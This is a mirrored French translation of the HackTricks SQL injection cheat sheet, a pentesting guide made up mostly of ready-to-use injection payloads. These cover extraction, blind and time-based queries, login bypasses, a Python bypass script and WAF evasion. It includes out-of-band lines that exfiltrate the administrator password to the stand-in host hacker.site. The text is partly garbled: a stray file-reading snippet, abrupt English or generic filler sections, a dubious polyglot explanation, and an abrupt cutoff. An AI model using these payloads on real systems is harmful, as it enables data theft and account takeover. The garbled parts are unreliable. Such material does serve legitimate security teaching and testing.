mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
634 lines
36 KiB
Markdown
634 lines
36 KiB
Markdown
# Injection SQL
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Qu'est-ce que l'injection SQL ?
|
||
|
||
L'injection SQL est une vulnérabilité de sécurité web qui permet à un attaquant d'**interférer** avec les **requêtes** qu'une application fait à sa **base de données**. Elle permet généralement à un attaquant de **visualiser des données** auxquelles il n'a normalement pas accès. Cela peut inclure des données appartenant à **d'autres utilisateurs**, ou toute autre donnée à laquelle l'**application** elle-même est capable d'**accéder**. Dans de nombreux cas, un attaquant peut **modifier** ou **supprimer** ces données, provoquant des changements persistants dans le contenu ou le comportement de l'application.\
|
||
Dans certaines situations, un attaquant peut intensifier une attaque d'injection SQL pour **compromettre le serveur sous-jacent** ou toute autre infrastructure en arrière-plan, ou effectuer une attaque de déni de service. (De [ici](https://portswigger.net/web-security/sql-injection)).
|
||
|
||
> Dans ce POST, je vais supposer que nous avons trouvé une possible injection SQL et nous allons discuter des méthodes possibles pour confirmer l'injection SQL, reconnaître la base de données et effectuer des actions.
|
||
|
||
## Détection du point d'entrée
|
||
|
||
Vous avez peut-être trouvé un site qui est **apparemment vulnérable à l'injection SQL** simplement parce que le serveur se comporte de manière étrange avec les entrées liées à l'injection SQL. Par conséquent, la **première chose** à faire est de savoir comment **injecter des données dans la requête sans la casser**. Pour ce faire, vous devez d'abord trouver comment **échapper du contexte actuel**.\
|
||
Voici quelques exemples utiles :
|
||
```
|
||
[Nothing]
|
||
'
|
||
"
|
||
`
|
||
')
|
||
")
|
||
`)
|
||
'))
|
||
"))
|
||
`))
|
||
```
|
||
Ensuite, vous devez savoir comment **corriger la requête pour qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **entrer** des données pour que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **entrer** vos données et **ajouter un symbole de commentaire à la fin**.
|
||
|
||
Notez que si vous pouvez voir des messages d'erreur ou repérer des différences lorsque la requête fonctionne et quand elle ne fonctionne pas, cette phase sera plus facile.
|
||
|
||
### **Commentaires**
|
||
```sql
|
||
MySQL
|
||
#comment
|
||
-- comment [Note the space after the double dash]
|
||
/*comment*/
|
||
/*! MYSQL Special SQL */
|
||
|
||
PostgreSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
MSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
Oracle
|
||
--comment
|
||
|
||
SQLite
|
||
--comment
|
||
/*comment*/
|
||
|
||
HQL
|
||
HQL does not support comments
|
||
```
|
||
### Confirmation avec des opérations logiques
|
||
|
||
L'une des meilleures façons de confirmer une injection SQL est de la faire fonctionner avec une **opération logique** et d'obtenir les résultats attendus.\
|
||
Par exemple : si le paramètre GET `?username=Peter` renvoie le même contenu que `?username=Peter' or '1'='1`, alors vous avez trouvé une injection SQL.
|
||
|
||
Vous pouvez également appliquer ce concept aux **opérations mathématiques**. Exemple : si `?id=1` renvoie la même chose que `?id=2-1`, injection SQL.
|
||
```
|
||
page.asp?id=1 or 1=1 -- true
|
||
page.asp?id=1' or 1=1 -- true
|
||
page.asp?id=1" or 1=1 -- true
|
||
page.asp?id=1 and 1=2 -- false
|
||
```
|
||
Cette liste de mots a été créée pour essayer de **confirmer les injections SQL** de la manière proposée :
|
||
|
||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||
|
||
### Confirmation avec le temps
|
||
|
||
Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les injections SQL aveugles** est de faire effectuer des actions à la base de données qui auront un **impact sur le temps** nécessaire au chargement de la page.\
|
||
Par conséquent, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps pour se terminer :
|
||
```
|
||
MySQL (string concat and logical ops)
|
||
1' + sleep(10)
|
||
1' and sleep(10)
|
||
1' && sleep(10)
|
||
1' | sleep(10)
|
||
|
||
PostgreSQL (only support string concat)
|
||
1' || pg_sleep(10)
|
||
|
||
MSQL
|
||
1' WAITFOR DELAY '0:0:10'
|
||
|
||
Oracle
|
||
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
|
||
|
||
SQLite
|
||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||
```
|
||
Dans certains cas, les **fonctions de sommeil ne seront pas autorisées**. Dans ce cas, au lieu d'utiliser ces fonctions, vous pouvez faire en sorte que la requête effectue des opérations complexes qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément pour chaque technologie (le cas échéant)_.
|
||
|
||
### Identification du back-end
|
||
|
||
La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pouvez utiliser les **fonctions de sommeil** de la section précédente ou celles-ci :
|
||
```bash
|
||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||
["connection_id()=connection_id()" ,"MYSQL"],
|
||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||
["LNNVL(0=123)" ,"ORACLE"],
|
||
["5::int=5" ,"POSTGRESQL"],
|
||
["5::integer=5" ,"POSTGRESQL"],
|
||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||
["last_insert_rowid()>1" ,"SQLITE"],
|
||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||
["val(cvar(1))=1" ,"MSACCESS"],
|
||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
```
|
||
De plus, si vous avez accès à la sortie de la requête, vous pouvez faire en sorte qu'elle **affiche la version de la base de données**.
|
||
|
||
{% hint style="info" %}
|
||
Dans la suite, nous allons discuter de différentes méthodes pour exploiter différents types d'injections SQL. Nous utiliserons MySQL comme exemple.
|
||
{% endhint %}
|
||
|
||
### Identification avec PortSwigger
|
||
|
||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||
|
||
## Exploitation basée sur Union
|
||
|
||
### Détection du nombre de colonnes
|
||
|
||
Si vous pouvez voir la sortie de la requête, c'est la meilleure façon de l'exploiter.\
|
||
Tout d'abord, nous devons trouver le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
|
||
Deux méthodes sont généralement utilisées à cette fin :
|
||
|
||
#### Order/Group by
|
||
|
||
Continuez à incrémenter le nombre jusqu'à ce que vous obteniez une réponse fausse. Bien que GROUP BY et ORDER BY aient des fonctionnalités différentes en SQL, ils peuvent tous deux être utilisés de la même manière pour déterminer le nombre de colonnes dans la requête.
|
||
```sql
|
||
1' ORDER BY 1--+ #True
|
||
1' ORDER BY 2--+ #True
|
||
1' ORDER BY 3--+ #True
|
||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
|
||
```sql
|
||
1' GROUP BY 1--+ #True
|
||
1' GROUP BY 2--+ #True
|
||
1' GROUP BY 3--+ #True
|
||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
#### UNION SELECT
|
||
|
||
Sélectionnez de plus en plus de valeurs nulles jusqu'à ce que la requête soit correcte :
|
||
```sql
|
||
1' UNION SELECT null-- - Not working
|
||
1' UNION SELECT null,null-- - Not working
|
||
1' UNION SELECT null,null,null-- - Worked
|
||
```
|
||
_Vous devriez utiliser des valeurs `null` car dans certains cas, le type des colonnes des deux côtés de la requête doit être le même et null est valide dans tous les cas._
|
||
|
||
### Extraire les noms de la base de données, les noms de table et les noms de colonne
|
||
|
||
Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom de la table d'une base de données, les noms de colonnes de la table :
|
||
```sql
|
||
#Database names
|
||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||
|
||
#Tables of a database
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
|
||
|
||
#Column names
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||
```
|
||
Il existe une méthode différente pour découvrir ces données sur chaque base de données différente, mais la méthodologie est toujours la même.
|
||
|
||
## Exploitation de l'injection basée sur Union cachée
|
||
|
||
Si vous pouvez voir la sortie de la requête mais que vous ne pouvez pas réaliser une injection basée sur Union, vous êtes confronté à une injection basée sur Union cachée.\
|
||
Dans cette situation, vous vous retrouvez avec une injection aveugle. Pour transformer l'injection aveugle en une injection basée sur Union, vous devez extraire la requête qui est exécutée sur le backend.\
|
||
Vous pouvez le faire en utilisant l'injection aveugle et les tables par défaut de votre DBMS cible. Pour en savoir plus sur ces tables par défaut, lisez la documentation de votre DBMS cible.\
|
||
Après avoir extrait la requête, vous devez ajuster votre charge utile en conséquence, en fermant la requête d'origine en toute sécurité. Ensuite, ajoutez une requête d'union à votre charge utile et commencez à exploiter l'injection basée sur Union nouvellement obtenue.
|
||
|
||
Article complet : https://medium.com/@Rend\_/healing-blind-injections-df30b9e0e06f
|
||
|
||
## Exploitation basée sur les erreurs
|
||
|
||
Si pour une raison quelconque vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **extraire** des données de la base de données.\
|
||
En suivant un flux similaire à l'exploitation basée sur Union, vous pourriez réussir à vider la base de données.
|
||
```sql
|
||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||
```
|
||
## Exploitation de Blind SQLi
|
||
|
||
Dans ce cas, vous ne pouvez pas voir les résultats de la requête ou les erreurs, mais vous pouvez **distinguer** quand la requête **renvoie** une réponse **vraie** ou **fausse** car il y a différents contenus sur la page.\
|
||
Dans ce cas, vous pouvez abuser de ce comportement pour vider la base de données caractère par caractère :
|
||
```sql
|
||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||
```
|
||
## Exploitation d'une injection SQL aveugle basée sur les erreurs
|
||
|
||
Il s'agit du **même cas que précédemment**, mais au lieu de distinguer entre une réponse vraie/fausse de la requête, vous pouvez distinguer entre une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une erreur SQL chaque fois que vous devinez correctement le caractère :
|
||
```sql
|
||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||
```
|
||
## Exploitation de l'injection SQL basée sur le temps
|
||
|
||
Dans ce cas, il n'y a **aucun moyen de distinguer** la **réponse** de la requête en fonction du contexte de la page. Cependant, vous pouvez faire en sorte que la page **mette plus de temps à se charger** si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée auparavant pour [confirmer une vulnérabilité SQLi](./#confirming-with-timing).
|
||
```sql
|
||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||
```
|
||
## Requêtes empilées
|
||
|
||
Vous pouvez utiliser des requêtes empilées pour **exécuter plusieurs requêtes successives**. Notez que bien que les requêtes suivantes soient exécutées, les **résultats ne sont pas renvoyés à l'application**. Par conséquent, cette technique est principalement utile en relation avec les **vulnérabilités aveugles** où vous pouvez utiliser une deuxième requête pour déclencher une recherche DNS, une erreur conditionnelle ou un délai de temps.
|
||
|
||
**Oracle** ne prend pas en charge les **requêtes empilées**. **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `REQUÊTE-1-ICI; REQUÊTE-2-ICI`
|
||
|
||
## Exploitation hors bande
|
||
|
||
Si **aucune autre** méthode d'exploitation **n'a fonctionné**, vous pouvez essayer de faire en sorte que la **base de données exfiltre** les informations vers un **hôte externe** contrôlé par vous. Par exemple, via des requêtes DNS :
|
||
```sql
|
||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||
```
|
||
### Exfiltration de données hors bande via XXE
|
||
```sql
|
||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||
```
|
||
## Exploitation Automatisée
|
||
|
||
Consultez la [SQLMap Cheetsheat](sqlmap/) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||
|
||
## Informations spécifiques à la technologie
|
||
|
||
Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité d'injection SQL. Trouvez d'autres astuces dépendantes de la technologie de base de données dans ce livre :
|
||
|
||
* [MS Access](ms-access-sql-injection.md)
|
||
* [MSSQL](mssql-injection.md)
|
||
* [MySQL](mysql-injection/)
|
||
* [Oracle](oracle-injection.md)
|
||
* [PostgreSQL](postgresql-injection/)
|
||
|
||
Ou vous trouverez **beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Contournement de l'authentification
|
||
|
||
Liste pour essayer de contourner la fonctionnalité de connexion :
|
||
|
||
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
|
||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Contournement de l'authentification (MD5 brut)
|
||
|
||
Lorsqu'un MD5 brut est utilisé, le mot de passe sera interrogé en tant que simple chaîne, pas en tant que chaîne hexadécimale.
|
||
```sql
|
||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||
```
|
||
Permettre à un attaquant de créer une chaîne avec une déclaration `true` telle que `' or 'QUELQUECHOSE`.
|
||
```sql
|
||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
|
||
```
|
||
Le défi est disponible sur [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)
|
||
|
||
### Contournement de l'authentification par hachage
|
||
```sql
|
||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||
```
|
||
**Liste recommandée**:
|
||
|
||
Vous devriez utiliser chaque ligne de la liste comme nom d'utilisateur et toujours utiliser le mot de passe: _**Pass1234.**_\
|
||
_(Ces charges utiles sont également incluses dans la grande liste mentionnée au début de cette section)_
|
||
|
||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||
|
||
### Contournement d'authentification GBK
|
||
|
||
SI ' est échappé, vous pouvez utiliser %A8%27, et lorsque ' est échappé, il sera créé: 0xA80x5c0x27 (_╘'_)
|
||
```sql
|
||
%A8%27 OR 1=1;-- 2
|
||
%8C%A8%27 OR 1=1-- 2
|
||
%bf' or 1=1 -- --
|
||
```
|
||
Script Python :
|
||
```python
|
||
import requests
|
||
url = "http://example.com/index.php"
|
||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||
print r.text
|
||
```
|
||
### Injection polyglotte (multicontexte)
|
||
|
||
---
|
||
|
||
#### Description
|
||
|
||
A polyglot injection is an injection that works in more than one context. For example, a polyglot injection can be a SQL injection that works in both MySQL and MSSQL.
|
||
|
||
#### How to create a polyglot injection
|
||
|
||
To create a polyglot injection, you need to find a string that is valid in multiple contexts. For example, the string `1' OR '1'='1` is valid in both MySQL and MSSQL.
|
||
|
||
#### Example
|
||
|
||
```sql
|
||
SELECT * FROM users WHERE username='admin'--' AND password='1' OR '1'='1';
|
||
SELECT * FROM users WHERE username='admin'--' AND password='' OR '1'='1';
|
||
```
|
||
|
||
In the example above, the injection `--' AND password='1' OR '1'='1` works in MySQL, while the injection `--' AND password='' OR '1'='1` works in MSSQL.
|
||
|
||
#### References
|
||
|
||
- [Polyglot Injection](https://www.owasp.org/index.php/Polyglot_Injection) (OWASP)
|
||
```sql
|
||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||
```
|
||
## Instruction d'insertion
|
||
|
||
### Modifier le mot de passe d'un objet/utilisateur existant
|
||
|
||
Pour ce faire, vous devriez essayer de **créer un nouvel objet nommé comme l'objet "maître"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose :
|
||
|
||
* Créer un utilisateur nommé : **AdMIn** (lettres majuscules et minuscules)
|
||
* Créer un utilisateur nommé : **admin=**
|
||
* **Attaque de troncature SQL** (lorsqu'il y a une sorte de **limite de longueur** dans le nom d'utilisateur ou l'e-mail) --> Créer un utilisateur avec le nom : **admin \[beaucoup d'espaces] a**
|
||
|
||
#### Attaque de troncature SQL
|
||
|
||
Si la base de données est vulnérable et que le nombre maximal de caractères pour le nom d'utilisateur est par exemple de 30 et que vous voulez vous faire passer pour l'utilisateur **admin**, essayez de créer un nom d'utilisateur appelé : "_admin \[30 espaces] a_" et n'importe quel mot de passe.
|
||
|
||
La base de données **vérifiera** si le **nom d'utilisateur** **introduit existe** dans la base de données. Si ce n'est pas le cas, elle **coupera** le **nom d'utilisateur** au **nombre maximal de caractères autorisés** (dans ce cas, "_admin \[25 espaces]_") et elle **supprimera automatiquement tous les espaces à la fin en mettant à jour** dans la base de données l'utilisateur "**admin**" avec le **nouveau mot de passe** (une erreur pourrait apparaître, mais cela ne signifie pas que cela n'a pas fonctionné).
|
||
|
||
Plus d'informations : [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||
|
||
_Remarque : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les dernières installations MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, toute tentative d'insérer une chaîne qui est plus longue que la longueur d'un champ entraînera une erreur et l'insertion échouera. Pour plus d'informations à ce sujet, consultez_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)\_\_
|
||
|
||
### Vérification basée sur le temps d'insertion MySQL
|
||
|
||
Ajoutez autant de `','',''` que vous le jugez nécessaire pour sortir de l'instruction VALUES. Si le délai est exécuté, vous avez une injection SQL.
|
||
```sql
|
||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||
```
|
||
### ON DUPLICATE KEY UPDATE
|
||
|
||
Les mots-clés ON DUPLICATE KEY UPDATE sont utilisés pour indiquer à MySQL quoi faire lorsque l'application tente d'insérer une ligne qui existe déjà dans la table. Nous pouvons l'utiliser pour changer le mot de passe de l'administrateur en:
|
||
```
|
||
Inject using payload:
|
||
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
|
||
|
||
The query would look like this:
|
||
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
|
||
|
||
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
|
||
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
|
||
|
||
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
|
||
```
|
||
### Extraire des informations
|
||
|
||
#### Création de 2 comptes en même temps
|
||
|
||
Lorsque vous essayez de créer un nouvel utilisateur, un nom d'utilisateur, un mot de passe et une adresse e-mail sont nécessaires :
|
||
```
|
||
SQLi payload:
|
||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||
|
||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||
```
|
||
#### Utilisation de décimal ou hexadécimal
|
||
|
||
Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit.
|
||
|
||
En utilisant **hex2dec** et **substr** :
|
||
```sql
|
||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
```
|
||
with open('/hive/hacktricks/pentesting-web/sql-injection/README.md', 'r') as file:
|
||
text = file.read()
|
||
print(text)
|
||
```
|
||
```python
|
||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||
```
|
||
Utilisation de **hex** et **replace** (et **substr**) :
|
||
```sql
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
#Full ascii uppercase and lowercase replace:
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Injection SQL routée
|
||
|
||
L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne une sortie, mais la sortie de la requête injectable va à la requête qui donne une sortie. ([Article](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||
|
||
Exemple :
|
||
```sql
|
||
#Hex of: -1' union select login,password from users-- a
|
||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||
```
|
||
## Contournement de WAF
|
||
|
||
### Contournement sans espaces
|
||
|
||
Pas d'espace (%20) - contournement en utilisant des alternatives d'espacement.
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
# Pas d'espace blanc - contournement en utilisant des commentaires
|
||
|
||
Lorsque l'injection SQL est effectuée dans une requête qui ne permet pas l'utilisation d'espaces blancs, il est possible de contourner cette restriction en utilisant des commentaires.
|
||
|
||
## Contournement
|
||
|
||
La technique consiste à utiliser des commentaires pour masquer les espaces blancs. Les commentaires sont ignorés par le moteur de base de données, donc tout ce qui est placé à l'intérieur d'un commentaire ne sera pas considéré comme un espace blanc.
|
||
|
||
### Exemple
|
||
|
||
Supposons que nous avons une requête qui ressemble à ceci :
|
||
|
||
```
|
||
SELECT * FROM users WHERE username='admin' AND password='1234'
|
||
```
|
||
|
||
Pour contourner la restriction d'espaces blancs, nous pouvons utiliser des commentaires pour masquer les espaces blancs de la manière suivante :
|
||
|
||
```
|
||
SELECT/**/*/**/FROM/**/users/**/WHERE/**/username='admin'/**/AND/**/password='1234'
|
||
```
|
||
|
||
Dans cet exemple, nous avons utilisé des commentaires pour masquer les espaces blancs entre les mots clés et les noms de table, ainsi qu'entre les noms de colonnes et les valeurs.
|
||
|
||
## Conclusion
|
||
|
||
L'utilisation de commentaires pour contourner les restrictions d'espaces blancs est une technique courante en injection SQL. Il est important de comprendre comment cela fonctionne pour pouvoir détecter et prévenir les attaques.
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
# Pas d'espaces - contournement en utilisant des parenthèses
|
||
|
||
Lorsque l'injection SQL est effectuée dans une requête sans espaces, il peut être difficile de contourner les filtres de caractères. Cependant, une technique courante consiste à utiliser des parenthèses pour contourner les filtres.
|
||
|
||
## Contournement
|
||
|
||
